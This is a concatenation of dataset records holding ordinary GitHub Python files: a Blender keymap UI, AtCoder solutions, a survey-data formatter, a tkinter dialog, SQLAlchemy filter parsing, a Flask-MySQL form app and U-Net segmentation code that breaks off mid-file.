subrow.prop(kmi, \"any\", toggle=True)\n            # Use `*_ui` properties as integers aren't practical.\n            subrow.prop(kmi, \"shift_ui\", toggle=True)\n            subrow.prop(kmi, \"ctrl_ui\", toggle=True)\n            subrow.prop(kmi, \"alt_ui\", toggle=True)\n            subrow.prop(kmi, \"oskey_ui\", text=\"Cmd\", toggle=True)\n\n            subrow.prop(kmi, \"key_modifier\", text=\"\", event=True)\n\n        # Operator properties\n        box.template_keymap_item_properties(kmi)\n\n        # Modal key maps attached to this operator\n        if not km.is_modal:\n            kmm = kc.keymaps.find_modal(kmi.idname)\n            if kmm:\n                draw_km(display_keymaps, kc, kmm, None, layout, level + 1)\n                layout.context_pointer_set(\"keymap\", km)\n\ndef draw_keyboard_shorcuts(layout, spacing, keymaps, display):\n    col = layout.box().column()\n    col.label(text=\"Keymap List:\", icon=\"KEYINGSET\")\n\n    kc = bpy.context.window_manager.keyconfigs.user\n    get_kmi_l = []\n    labels = {}\n    for km_add, kmi_add, label in reversed(keymaps):\n        for km_con in kc.keymaps:\n            if km_add.name == km_con.name:\n                km = km_con\n                break    \n\n        for kmi_con in km.keymap_items:\n            if kmi_add.idname == kmi_con.idname:\n                if kmi_add.name == kmi_con.name:\n                    get_kmi_l.append((km, kmi_con))\n                    label_list = labels.get(kmi_con.name, [])\n                    if (label not in label_list):\n                        label_list.append(label)\n                    labels[kmi_con.name] = label_list\n\n    get_kmi_l = sorted(set(get_kmi_l), key=get_kmi_l.index)\n    old_category = ''\n    old_label = ''\n    is_first_entry = True\n    group_spacing = 0.35\n\n    for km, kmi in get_kmi_l:\n        curr_category = display[kmi.name]\n        if curr_category is None:\n            curr_category = kmi.name\n\n        if not curr_category == old_category:\n            if not is_first_entry:\n                col.separator(factor=group_spacing)\n            col.label(text=str(curr_category), icon=\"DOT\")\n\n        col.context_pointer_set(\"keymap\", km)\n        \n        #rna_keymap_ui.draw_kmi([], kc, km, kmi, col, 0)\n        label_list = labels[kmi.name]\n        if len(label_list) == 1:\n            label = label_list[0]\n        else:\n            label = label_list.pop(0)\n\n        if old_label != label:\n            draw_kmi([], kc, km, kmi, col, 0, label=label)\n            col.separator(factor=spacing)\n        old_category = curr_category\n        old_label = label\n        is_first_entry = False","repo_name":"Quackarooni/Nodetree_Utils","sub_path":"keymap_ui.py","file_name":"keymap_ui.py","file_ext":"py","file_size_in_byte":5520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"38448267287","text":"from collections import deque\n\nH, W = map(int, input().split())\ngraph = [list(input()) for _ in range(H)]\nvisited = [[False] * W for _ in range(H)]\n\nfor i in range(H):\n    for j in range(W):\n        if graph[i][j] == 's':\n            si, sj = i, j\n        elif graph[i][j] == 'g':\n            gi, gj = i, j\n\nq = deque()\nq.append((si, sj))\n\nwhile len(q) > 0:\n    i, j = q.pop()\n    visited[i][j] = True\n\n    for i2, j2 in [(i + 1, j), (i - 1, j), (i, j + 1), (i, j - 1)]:\n        if i2 < 0 or i2 >= H or j2 < 0 or j2 >= W:\n            continue\n        if graph[i2][j2] != '#' and not visited[i2][j2]:\n            q.append((i2, j2))\n\nif visited[gi][gj]:\n    print('Yes')\nelse:\n    print('No')\n","repo_name":"ET0024/AtCoder","sub_path":"AtcoderTypicalContest001/A-5.py","file_name":"A-5.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"71902125483","text":"import pandas as pd\n\ndef select_stk(pre_pf,func, **kwargs):\n    pre_df = func(pre_pf,**kwargs)\n    print(pre_df)\n\ndef select_top(pre_df, df, name):\n    def add(a,b):\n        return a+b\n\n    pre_df.sort_values(by=name,inplace = True)\n    df.sort_values(by=name,inplace = True)\n    pre_df.iloc[0,:] = df.iloc[-1,:]\n    pre_df.index.values[0] = df.index.values[-1]\n    #print(pre_df)\n    return pre_df\n\npre_df = pd.DataFrame(index=[1,3,4], columns=['Mom'], data= [1,2,3])\ndf = pd.DataFrame(index=[5,6,7], columns=['Mom'], data= [3,2,1])\n# print(select_top(pre_df,df, 'Mom'))\n\n\nselect_stk(pre_df, select_top,df=df,name = 'Mom')","repo_name":"ninja02/backtest","sub_path":"backtest/backtest/Test/test126.py","file_name":"test126.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72710301802","text":"import pandas as pd \nimport numpy as np\n\nclass FormatANES:\n\n\tdef __init__(self, filepath):\n\t\tall_data = pd.read_csv(filepath)\n\t\tdemographic_col_names =  [\"V201507x\", \"V201600\", \"V201018\", \"V201510\", \"V201200\", \n\t\t\t\t\t\t\t\t  \"V201458x\", \"V201549x\", \"V203003\", \"V201508\", \"V201103\"]\n\t\tdata = all_data[demographic_col_names]\n\t\tdata = data.rename(columns={\"V201507x\": 'age',\n\t\t\t\t\t  \t\t\t    \"V201600\" : \"gender\",\n\t\t\t\t\t  \t\t\t    \"V201018\" : \"party\", \n\t\t\t\t\t  \t\t\t    \"V201510\" : 'education',\n\t\t\t\t\t  \t\t\t    \"V201200\" : \"ideo\",\n\t\t\t\t\t  \t\t\t    \"V201458x\": \"religion\",\n\t\t\t\t\t\t            \"V201549x\": 'race',\n\t\t\t\t\t\t            \"V203003\" : \"region\" ,\n\t\t\t\t\t\t            \"V201508\" : \"marital\",\n\t\t\t\t\t\t            \"V201103\" : \"2016_presidential_vote\"})\n\n\t\tdata = data[~data['2016_presidential_vote'].isin([-9, -8, -1, 3, 4, 5])]\n\n\t\tdata['age'] = data['age'].astype(str)\n\t\tfor index, row in data.iterrows():\n\t\t\tif row['age'] == '-9':\n\t\t\t\tdata.at[index, 'age'] = np.nan\n\n\t\tvalue_encodings = {'gender':\n\t\t\t\t\t   \t\t\t{1  : \"female\",\n\t\t\t\t\t\t   \t\t 2  : \"male\",\n\t\t\t\t\t\t   \t\t 99 : np.nan},\n\t\t\t\t\t\t   'education':\n\t\t\t\t\t\t   \t\t{1: \"less than high school\",\n\t\t\t\t\t\t   \t\t 2: \"high school graduate\",\n\t\t\t\t\t\t   \t\t 3: \"some college but no degree\",\n\t\t\t\t\t\t   \t\t 4: \"trade school\",\n\t\t\t\t\t\t   \t\t 5: \"associate degree\",\n\t\t\t\t\t\t   \t\t 6: \"Bachelor's degree\",\n\t\t\t\t\t\t   \t\t 7: \"Master's degree\",\n\t\t\t\t\t\t   \t\t 8: \"professional school degree\",\n\t\t\t\t\t\t   \t\t -9 : np.nan,\n\t\t\t\t\t\t   \t\t -8 : np.nan,\n\t\t\t\t\t\t   \t\t 95 : np.nan},\n\t\t\t\t\t\t   'race': \n\t\t\t\t\t\t   \t\t{1: \"White\",\n\t\t\t\t\t\t   \t\t 2: \"Black\",\n\t\t\t\t\t\t   \t\t 3: \"Hispanic\",\n\t\t\t\t\t\t   \t\t 4: \"Asian/Native Hawaiian/Pacific Islander\",\n\t\t\t\t\t\t   \t\t 5: \"Native American/Alaskan Native\",\n\t\t\t\t\t\t   \t\t 6: np.nan,\n\t\t\t\t\t\t   \t\t -9 : np.nan,\n\t\t\t\t\t\t   \t\t -8 : np.nan},\n\t\t\t\t\t\t\t'party':\n\t\t\t\t\t\t\t\t{1: \"Democrat\",\n\t\t\t\t\t\t\t\t 2: \"Republican\",\n\t\t\t\t\t\t\t\t -9 : np.nan,\n\t\t\t\t\t\t\t\t -8 : np.nan,\n\t\t\t\t\t\t\t\t -1 : np.nan,\n\t\t\t\t\t\t\t\t 4  : \"None/Independent\",\n\t\t\t\t\t\t\t\t 5  : np.nan},\n\t\t\t\t\t\t\t'ideo':\n\t\t\t\t\t\t\t\t{-9 : np.nan,\n\t\t\t\t\t\t\t\t -8 : np.nan,\n\t\t\t\t\t\t\t\t 1  : \"Extremely Liberal\",\n\t\t\t\t\t\t\t\t 2  : \"Liberal\",\n\t\t\t\t\t\t\t\t 3  : \"Slightly Liberal\",\n\t\t\t\t\t\t\t\t 4  : \"Moderate\",\n\t\t\t\t\t\t\t\t 5  : \"Slightly conservative\",\n\t\t\t\t\t\t\t\t 6  : \"Conservative\",\n\t\t\t\t\t\t\t\t 7  : \"Extremely conservative\",\n\t\t\t\t\t\t\t\t 99 : np.nan},\n\t\t\t\t\t\t\t'religion':\n\t\t\t\t\t\t\t\t{-1 : np.nan,\n\t\t\t\t\t\t\t\t 1 : \"Mainline Protestant\",\n\t\t\t\t\t\t\t\t 2 : \"Evangelical Protestant\",\n\t\t\t\t\t\t\t\t 3 : \"Black Protestant\",\n\t\t\t\t\t\t\t\t 4 : \"Undifferentiated Protstant\",\n\t\t\t\t\t\t\t\t 5 : \"Roman Catholic\",\n\t\t\t\t\t\t\t\t 6 : \"Other Christian\",\n\t\t\t\t\t\t\t\t 7 : \"Jewish\",\n\t\t\t\t\t\t\t\t 8 : np.nan,\n\t\t\t\t\t\t\t\t 9: \"not religious\"},\n\t\t\t\t\t\t\t'region':\n\t\t\t\t\t\t\t\t{1 : \"Northeast\",\n\t\t\t\t\t\t\t\t 2 : \"Midwest\",\n\t\t\t\t\t\t\t\t 3 : \"South\",\n\t\t\t\t\t\t\t\t 4 : \"West\"},\n\t\t\t\t\t\t\t'marital':\n\t\t\t\t\t\t\t\t{-9 : np.nan,\n\t\t\t\t\t\t\t\t -8 : np.nan,\n\t\t\t\t\t\t\t\t 1  : \"married\",\n\t\t\t\t\t\t\t\t 2  : \"married\",\n\t\t\t\t\t\t\t\t 3  : \"widowed\",\n\t\t\t\t\t\t\t\t 4  : \"divorced\",\n\t\t\t\t\t\t\t\t 5  : \"separated\",\n\t\t\t\t\t\t\t\t 6  : \"never married\"},\n\t\t\t\t\t\t\t'2016_presidential_vote':\n\t\t\t\t\t\t\t\t{1 : \"Hillary Clinton\",\n\t\t\t\t\t\t\t\t 2 : \"Donald Trump\"}\n\n\t\t\t\t\t\t   }\n\t\tcol_names = ['gender', 'education', 'race', 'party', 'ideo',\n\t\t\t\t\t 'religion', 'region', 'marital', '2016_presidential_vote']\n\t\tdescriptive_df = data.copy()\n\t\tfor col in col_names:\n\t\t\tdescriptive_df[col] = descriptive_df[col].map(value_encodings[col])\n\t\tdescriptive_df.to_csv(\"formatted_anes.csv\", index=False)\n\n\n\n\nif __name__ == \"__main__\":\n\tformatter = FormatANES(\"anes_timeseries_2020_csv_20210719.csv\")\n","repo_name":"BYU-PCCL/partisanbrain","sub_path":"mutualinf/format_anes.py","file_name":"format_anes.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"36308256618","text":"import tkinter as tk\r\nfrom tkinter import messagebox\r\nfrom tkinter import ttk\r\nfrom menu_windows.window_confirm import WindowConfirm\r\nfrom functions.search import id_exists\r\n\r\nclass WindowDelete(tk.Toplevel):\r\n    def __init__(self, parent, df, update_func):\r\n        super().__init__(parent)\r\n        self.parent = parent\r\n        self.df = df\r\n        self.update_func = update_func\r\n        self.id = tk.StringVar()\r\n\r\n        self.geometry('320x200')\r\n        self.title('Delete Housing')\r\n        tk.Label(self, text='Delete Housing', font=('Montserrat Medium', 16)).pack(side=tk.TOP, pady=16)\r\n        \r\n        # Entries\r\n        frame = ttk.Frame(self)\r\n        frame.columnconfigure(0, weight=1)\r\n        frame.columnconfigure(1, weight=1)\r\n        label_id = ttk.Label(frame, text='ID')\r\n        # label_searchby = ttk.Label(frame, text='Search by')\r\n\r\n        entry_id = ttk.Entry(frame, textvariable=self.id)\r\n\r\n        label_id.grid(row=0, column = 0, padx=10, pady= 10, sticky='se')\r\n        # label_searchby.grid(row=1, column = 0, padx=10, pady=10, sticky='ne')\r\n\r\n        entry_id.grid(row=0, column=1, padx=10, pady=10, sticky='sw')\r\n\r\n        frame.pack(fill=tk.BOTH, expand=True, anchor='center')\r\n\r\n        ttk.Button(self,\r\n                text='OK',\r\n                command=self.find_housing).pack(side=tk.LEFT, expand=True, pady=12)\r\n\r\n        ttk.Button(self,\r\n                text='Cancel',\r\n                command=self.destroy).pack(side=tk.LEFT, expand=True, pady=12)\r\n\r\n    def func_confirm(self):\r\n        WindowConfirm(self.parent, self.df, self.id.get(), self.update_func).grab_set()\r\n        \r\n    def find_housing(self):\r\n        if not id_exists(self.id.get()):\r\n            messagebox.showerror(message='Housing Not Found')\r\n            return\r\n        else:\r\n            self.func_confirm()\r\n            self.destroy()","repo_name":"yudhisthereal/UTS-Pemlan-B","sub_path":"menu_windows/window_delete.py","file_name":"window_delete.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"5659986241","text":"strn = list(input())\nstack=[]\ncnt = 0\nfor i in range(len(strn)):\n    \n    if strn[i-1] == '(' and strn[i] == ')' and stack != []:\n        stack.pop()\n        cnt += len(stack) \n    elif strn[i-1] ==')' and strn[i] == ')':\n        cnt += 1\n        stack.pop()\n    else:\n        stack.append(strn[i])\n\nprint(cnt)\n","repo_name":"pannchat/1day1commit","sub_path":"python_algorithm/section5/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29457477596","text":"# Standard Library\nimport json\nimport logging\nfrom http import HTTPStatus\nfrom typing import Callable, Dict, List, Literal, Optional, Tuple, Union, cast\n\n# Third-party\nimport flask\nimport sqlalchemy\nfrom sqlalchemy.sql.elements import BooleanClauseList, ColumnElement\n\nlogger = logging.getLogger(__name__)\n\n# Default page size\nDEFAULT_LIMIT = 20\n\nORDER_BY_DIRECTIONS = {\n    \"asc\": sqlalchemy.asc,\n    \"desc\": sqlalchemy.desc,\n}\n\nColumnMapping = Dict[str, sqlalchemy.Column]\n\nScalar = Union[str, int, float, bool, None]\nColumnPredicate = Dict[str, Dict[str, Union[Scalar, List[Scalar]]]]\nBooleanPredicate = Dict[Literal[\"AND\", \"OR\"], List[ColumnPredicate]]\n\nFilters = Union[\n    ColumnPredicate,\n    BooleanPredicate,\n]\n\n\ndef get_request_parameters(\n    args: Dict[str, str],\n    model: type,\n    default_order: Literal[\"asc\", \"desc\"] = \"desc\",\n) -> Tuple[\n    int,\n    Callable,\n    Optional[str],\n    Optional[sqlalchemy.Column],\n    Optional[BooleanClauseList],\n]:\n    \"\"\"\n    Extract, validate, and format query parameters.\n\n    Parameters\n    ----------\n    args : Dict[str, str]\n        The request argument as returned by `flask.request.args`.\n    model : type\n        The Sqlalchemy model for which to tailor the parameters.\n    default_order : Literal[\"asc\", \"desc\"]\n        The default order to return in case the arguments do not specify an explicit\n        order. Defaults to \"desc\".\n\n    Returns\n    -------\n    Tuple[\n        int,\n        Callable,\n        Optional[str],\n        Optional[sqlalchemy.Column],\n        List[ColumnElement]\n    ] : limit, order, cursor, group_by, filters\n    \"\"\"\n    logger.debug(\"Raw request parameters: %s; model: %s\", args, model)\n\n    limit: int = int(args.get(\"limit\", DEFAULT_LIMIT))\n    if not (limit == -1 or limit > 0):\n        raise ValueError(\"limit must be greater than 0 or -1\")\n\n    def _none_if_empty(name: str) -> Optional[str]:\n        value = args.get(name)\n        if value is not None and len(value) == 0:\n            value = None\n\n        return value\n\n    cursor = _none_if_empty(\"cursor\")\n\n    group_by, group_by_column = _none_if_empty(\"group_by\"), None\n\n    column_mapping = _get_column_mapping(model)\n\n    if group_by is not None:\n        if group_by not in column_mapping:\n            raise ValueError(f\"Unsupported group_by value {repr(group_by)}\")\n\n        group_by_column = column_mapping[group_by]\n\n    filters_json: str = args.get(\"filters\", \"{}\")\n    try:\n        filters: Dict = json.loads(filters_json)\n    except Exception as e:\n        raise ValueError(f\"Malformed filters: {filters_json}, error: {e}\")\n\n    sql_predicates = (\n        _get_sql_predicates(filters, column_mapping) if len(filters) > 0 else None\n    )\n\n    order = ORDER_BY_DIRECTIONS.get(args.get(\"order\", default_order))\n    if order is None:\n        raise ValueError(\n            f\"invalid value for 'order'; expected one of: \"\n            f\"{list(ORDER_BY_DIRECTIONS.keys())}; got: '{args.get('order')}'\"\n        )\n\n    return limit, order, cursor, group_by_column, sql_predicates\n\n\ndef jsonify_error(error: str, status: HTTPStatus):\n    return flask.Response(\n        json.dumps(dict(error=error)),\n        status=status.value,\n        mimetype=\"application/json\",\n    )\n\n\ndef _get_column_mapping(model: type) -> Dict[str, sqlalchemy.Column]:\n    \"\"\"\n    Create a mapping of column name to column for a SQLAlchemy model.\n    \"\"\"\n    return {column.name: column for column in model.__table__.columns}  # type: ignore\n\n\ndef _get_sql_predicates(\n    filters: Filters, column_mapping: ColumnMapping\n) -> BooleanClauseList:\n    \"\"\"\n    Basic support for AND and OR filter predicates.\n\n    filters are of the form:\n    ```\n    {\"column_name\": {\"operator\": \"value\"}}\n    OR\n    {\n        \"AND\": [\n            {\"column_name\": {\"operator\": \"value\"}},\n            {\"column_name\": {\"operator\": \"value\"}}\n        ]\n    }\n    OR\n    {\n        \"OR\": [\n            {\"column_name\": {\"operator\": \"value\"}},\n            {\"column_name\": {\"operator\": \"value\"}}\n        ]\n    }\n    ```\n    \"\"\"\n    operand = list(filters.keys())[0]\n\n    if operand in {\"AND\", \"OR\"}:\n        filters = cast(BooleanPredicate, filters)\n        operand = cast(Literal[\"AND\", \"OR\"], operand)\n        operator = dict(AND=sqlalchemy.and_, OR=sqlalchemy.or_)[operand]\n        return operator(\n            *[\n                _extract_single_predicate(filter_, column_mapping)\n                for filter_ in filters[operand]\n            ]\n        )\n    else:\n        filter_ = cast(ColumnPredicate, filters)\n        return sqlalchemy.and_(_extract_single_predicate(filter_, column_mapping))\n\n\ndef _extract_single_predicate(\n    filter_: ColumnPredicate, column_mapping: ColumnMapping\n) -> ColumnElement:\n    column_name = list(filter_.keys())[0]\n\n    try:\n        column = column_mapping[column_name]\n    except KeyError:\n        raise Exception(f\"Unknown filter field: {column_name}\")\n\n    condition = filter_[column_name]\n    if len(condition) == 0:\n        raise Exception(f\"Empty filter: {filter_}\")\n\n    operator = list(condition.keys())[0]\n    value = condition[operator]\n\n    # Will obviously need to add more, only supporting eq and in for now\n    if operator == \"eq\":\n        return column == value\n\n    if operator == \"in\":\n        return column.in_(value)\n\n    raise NotImplementedError(f\"Unsupported filter: {filter_}\")\n","repo_name":"shalevy1/sematic","sub_path":"sematic/api/endpoints/request_parameters.py","file_name":"request_parameters.py","file_ext":"py","file_size_in_byte":5334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"}
{"seq_id":"40705010414","text":"import sys\nsys.setrecursionlimit(10 ** 7)\ninput = sys.stdin.readline\n\nn = int(input())\n\nans = list([] for _ in range(n))\nans[0] = [1]\n\nprint(1)\n\nfor i in range(1, n):\n    tmp = [1]\n    for j in range(1, i + 1):\n        if j == i:\n            tmp.append(1)\n        else:\n            tmp.append(ans[i-1][j-1] + ans[i-1][j])\n    ans[i] = tmp\n    print(*tmp)","repo_name":"hasesuns/atcoder","sub_path":"submitted/abc254/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"4955322081","text":"from flask import Flask,render_template,request\nimport mysql.connector\n\napp = Flask (__name__)\n@app.route('/')\ndef students():\n    return render_template('index.html')\n\n\n\n@app.route('/result',methods =['POST','GET'])\ndef result():\n    mydb=mysql.connector.connect(\n        host =\"localhost\",\n        user= \"root\",\n        password =\"\",\n        database=\"sanjoy\"\n    )\n    mycursor=mydb.cursor()\n    if request.method =='POST':\n        result = request.form.to_dict()\n        name= result['Name']\n        phy = int(result['Physics'])\n        che = int(result['Chemistry'])\n        mat = int(result['Mathematics'])\n        s = str(phy+che+mat)\n        result[\"Total\"] =s\n        mycursor.execute(\"insert into piyas (name,phy,che,mat,total)values(%s,%s,%s,%s,%s)\",(name,phy,che,mat,s))\n        mydb.commit()\n        mycursor.close()\n        return render_template('test.html',result= result)\n    return render_template(\"index.html\")\n\n\napp.run(debug=True)","repo_name":"sumonghosh666/Flask-mysql-connect-","sub_path":"class12.py","file_name":"class12.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"74259476522","text":"\r\nimport keras.backend\r\nimport numpy as np\r\nimport os\r\nimport glob\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nimport tensorflow as tf\r\nimport gc\r\nimport pandas as pd\r\nimport seaborn as sns\r\nfrom skimage import transform\r\nimport random\r\nimport rasterio\r\nfrom tensorflow.keras import layers\r\nfrom tensorflow.keras.models import Sequential, Model\r\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, MaxPooling2D, BatchNormalization, Activation, Conv2DTranspose, Concatenate, Input, SeparableConv2D, add, UpSampling2D, Dropout\r\nfrom tensorflow.keras.callbacks import ModelCheckpoint, EarlyStopping\r\nfrom tensorflow_examples.models.pix2pix import pix2pix\r\nfrom skimage.morphology import disk\r\nfrom skimage import morphology\r\nfrom focal_loss import SparseCategoricalFocalLoss\r\nfrom tensorflow.keras.applications import mobilenet_v2\r\n\r\n#functions to read in all the segmentation dataset\r\ndef segmented_dataset_reader(foldername, train_bool= False, factor = 1):\r\n    # Reads in a set of segmented images and their labels.\r\n    # Args:\r\n    #     foldername (str): The name of the folder containing the images and labels.\r\n    #     train_bool (bool): A flag indicating whether the function is called for training or testing.\r\n    #     factor (int): an int that causing only a certain factor of dataset to be read in. Useful for only testing\r\n    #                   on parts of the dataset\r\n\r\n    # Returns:\r\n    #     tuple: If train_bool is False, returns a tuple containing the image data, image geo-reference data, and label data.\r\n    #         The image data is a 4D array of shape (numfiles, height, width, channels),\r\n    #         the image geo-reference is a list of affine transformations corresponding to each image,\r\n    #         and the label data is a 3D array of shape (numfiles, height, width).\r\n    #         If train_bool is True, returns a tuple containing the image data and label data.\r\n\r\n    # Raises:\r\n    #     AssertionError: If the number of labels does not match the number of images.\r\n\r\n    # Example:\r\n    #     img_data, img_geo, lbl_data = segmented_dataset_reader('train', False)\r\n\r\n    dirname = os.path.join(os.getcwd(), 'Data', foldername)\r\n    images_path = glob.glob(dirname + \"/images/*.tif\")\r\n    labels_path = glob.glob(dirname + \"/labels/*.tif\")\r\n    numfiles = len(images_path) // factor\r\n    numlabels = len(labels_path) // factor\r\n    # Checking to make sure that there is the same number of labels and images\r\n    assert numlabels == numfiles\r\n    img = []\r\n    img_geo = []\r\n    label = []\r\n    print(\"reading in %d images\" % numfiles)\r\n    for i in range(numfiles):\r\n        # works like a percent bar to make sure function did not hang\r\n        if i % 100 == 0:\r\n            print(\"percent complete: {:.0%}\".format((i / numfiles)), end=\"\\r\")\r\n        dataset = rasterio.open(images_path[i])\r\n        im_temp = dataset.read([1,2,3]).swapaxes(2,0)\r\n        lbl_temp = cv2.imread(labels_path[i], cv2.IMREAD_UNCHANGED)\r\n        lbl_temp = lbl_temp.astype(np.uint8)\r\n        img.append(im_temp)\r\n        label.append(lbl_temp)\r\n        if not train_bool:\r\n            im_temp_geo = dataset.transform\r\n            img_geo.append(im_temp_geo)\r\n    img = np.asarray(img).astype(np.float32) \r\n    label = np.asarray(label).astype('uint8')\r\n    if  not train_bool:\r\n        return img, img_geo, label\r\n    return img, label\r\n\r\n\r\n##functions for simple UNET\r\ndef double_conv_block(x, n_filters, act, act2):\r\n# \"\"\"\r\n#     Constructs a double convolutional block consisting of two separable convolution layers.\r\n\r\n#     Args:\r\n#         x (tensor): Input tensor to the double conv block.\r\n#         n_filters (int): Number of filters for each convolution layer.\r\n#         act (str or callable): Activation function for the first convolution layer.\r\n#         act2 (str or callable): Activation function for the second convolution layer.\r\n\r\n#     Returns:\r\n#         tensor: Output tensor from the double conv block.\r\n\r\n#     Example:\r\n#         >>> x = double_conv_block(x, 64, 'relu', 'relu')\r\n#     \"\"\"\r\n\r\n    x = layers.SeparableConv2D(n_filters, 3, padding=\"same\", activation=act,\r\n                               depthwise_initializer=\"he_normal\", pointwise_initializer=\"he_normal\")(x)\r\n   \r\n    x = layers.SeparableConv2D(n_filters, 3, padding=\"same\", activation=act2,\r\n                               depthwise_initializer=\"he_normal\", pointwise_initializer=\"he_normal\")(x)\r\n    x = BatchNormalization()(x)\r\n    return x\r\n\r\ndef downsample_block(x, n_filters, drop, act, act2):\r\n    #\r\n    # Constructs a downsample block that performs downsampling using max pooling.\r\n\r\n    # Args:\r\n    #     x (tensor): Input tensor to the downsample block.\r\n    #     n_filters (int): Number of filters for the double conv block.\r\n    #     drop (float): Dropout rate applied to the max pooled tensor.\r\n    #     act (str or callable): Activation function for the double conv block's first convolution layer.\r\n    #     act2 (str or callable): Activation function for the double conv block's second convolution layer.\r\n\r\n    # Returns:\r\n    #     tuple: A tuple containing the output tensor from the double conv block and the downsampled tensor.\r\n\r\n    # Example:\r\n    #     >>> feature_map, downsampled_map = downsample_block(x, 64, 0.2, 'relu', 'relu')\r\n    # \r\n    f = double_conv_block(x, n_filters, act, act2)\r\n\r\n    p = layers.MaxPool2D(2)(f)\r\n    p = layers.Dropout(drop)(p)\r\n    return f, p\r\n\r\ndef upsample_block(x, conv_features, n_filters, drop, act, act2, dropout=False):\r\n    # \"\"\"\r\n    # Constructs an upsample block that performs upsampling using the pix2pix TensorFlow model.\r\n\r\n    # Args:\r\n    #     x (tensor): Input tensor to the upsample block.\r\n    #     conv_features (tensor): Tensor representing the features from the corresponding downsample block.\r\n    #     n_filters (int): Number of filters for the double conv block.\r\n    #     drop (float): Dropout rate applied to the upsampled tensor.\r\n    #     act (str or callable): Activation function for the double conv block's first convolution layer.\r\n    #     act2 (str or callable): Activation function for the double conv block's second convolution layer.\r\n    #     dropout (bool, optional): Flag indicating whether to apply dropout. Defaults to False.\r\n\r\n    # Returns:\r\n    #     tensor: Output tensor from the upsample block.\r\n\r\n    # Example:\r\n    #     >>> upsampled_features = upsample_block(x, conv_features, 64, 0.2, 'relu', 'relu', dropout=True)\r\n    # \"\"\"\r\n\r\n    x = pix2pix.upsample(n_filters, 3)(x)\r\n\r\n    x = layers.concatenate([x, conv_features])\r\n\r\n    if dropout:\r\n        x = layers.Dropout(drop)(x)\r\n\r\n    x = double_conv_block(x, n_filters, act=act, act2=act2)\r\n\r\n    return x\r\n\r\ndef build_unet_model(num_class, weights, act2 = keras.layers.LeakyReLU(),  act='elu',\r\n                      drop=0.3, drop2=0.2, drop_bool=True, drop_bool2=False,\r\n                     filter=48, gamma=1, lr=0.003):\r\n    # Builds a U-Net model using the specified parameters.\r\n\r\n    # Args:\r\n    #     num_class (int): Number of output classes.\r\n    #     weights: Weights for each class.\r\n    #     act2 (str): Activation function for the second activation block (default: 'Leaky_relu').\r\n    #     act (str): Activation function for the other blocks (default: 'elu').\r\n    #     drop (float): Dropout rate for downsample blocks (default: 0.3).\r\n    #     drop2 (float): Dropout rate for bottleneck and upsample blocks (default: 0.2).\r\n    #     drop_bool (bool): Boolean value indicating whether to apply dropout in downsample blocks (default: True).\r\n    #     drop_bool2 (bool): Boolean value indicating whether to apply dropout in downsample and upsample blocks (default: False).\r\n    #     filter (int): Filter size (default: 48).\r\n    #     gamma (int): Gamma value for SparseCategoricalFocalLoss (default: 1).\r\n    #     lr (float): Learning rate for the optimizer (default: 0.003).\r\n\r\n    # Returns:\r\n    #     tf.keras.Model: U-Net model.\r\n\r\n    # clearing session and garbage collection to free up memory\r\n    # useful when tuning with keras tuner\r\n    keras.backend.clear_session()\r\n    gc.collect()\r\n    \r\n    # inputs\r\n    inputs = layers.Input(shape=(128, 128, 3))\r\n    # encoder: contracting path - downsample\r\n    # 1 - downsample\r\n    f1, p1 = downsample_block(inputs, filter, drop=drop, act=act, act2=act2)\r\n    # 2 - downsample\r\n    f2, p2 = downsample_block(p1, filter * 2, drop=drop, act=act, act2=act2)\r\n    # 3 - downsample\r\n    f3, p3 = downsample_block(p2, filter * 4, drop=drop, act=act, act2=act2)\r\n    # 4 - downsample\r\n    f4, p4 = downsample_block(p3, filter * 8, drop=drop2, act=act, act2=act2)\r\n\r\n    f5, p5 = downsample_block(p4, filter * 16, drop=drop2, act=act, act2=act2)\r\n\r\n    # 5 - bottleneck\r\n    bottleneck = double_conv_block(p5, 1024, act=act, act2=act2)\r\n\r\n    # decoder: expanding path - upsample\r\n\r\n    u5 = upsample_block(bottleneck, f5, filter * 16, drop=drop2, act=act, act2=act2)\r\n    # 6 - upsample\r\n    u6 = upsample_block(u5, f4, filter * 8, drop=drop2, act=act, act2=act2)\r\n    # 7 - upsample\r\n    u7 = upsample_block(u6, f3, filter * 4, drop=drop, dropout=drop_bool2, act=act, act2=act2)\r\n    # 8 - upsample\r\n    u8 = upsample_block(u7, f2, filter * 2, drop=drop, dropout=drop_bool2, act=act, act2=act2)\r\n    # 9 - upsample\r\n    u9 = upsample_block(u8, f1, filter, drop=drop, dropout=drop_bool, act=act, act2=act2)\r\n\r\n    # outputs\r\n    outputs = layers.Conv2DTranspose(num_class, 1, padding=\"same\")(u9)\r\n\r\n    unet_model = tf.keras.Model(inputs, outputs, name=\"U-Net\")\r\n    opt = tf.keras.optimizers.Adam(learning_rate=lr)\r\n    loss = SparseCategoricalFocalLoss(gamma=gamma, class_weight=weights, from_logits=True)  # true since not using softmax\r\n    met = tf.keras.metrics.MeanIoU(num_classes=num_class, sparse_y_pred=False)\r\n    unet_model.compile(optimizer=opt,\r\n                       loss=loss,\r\n                       metrics=['accuracy', met])\r\n\r\n    return unet_model\r\n\r\n\r\n##Function for mobile net\r\ndef mobile_unet_model(output_channels: int, weights,\r\n                       trainable = 2, batch_bool = True, lr = 0.004, gamma = 1):\r\n#    \r\n#     Constructs a Mobile UNet model for semantic 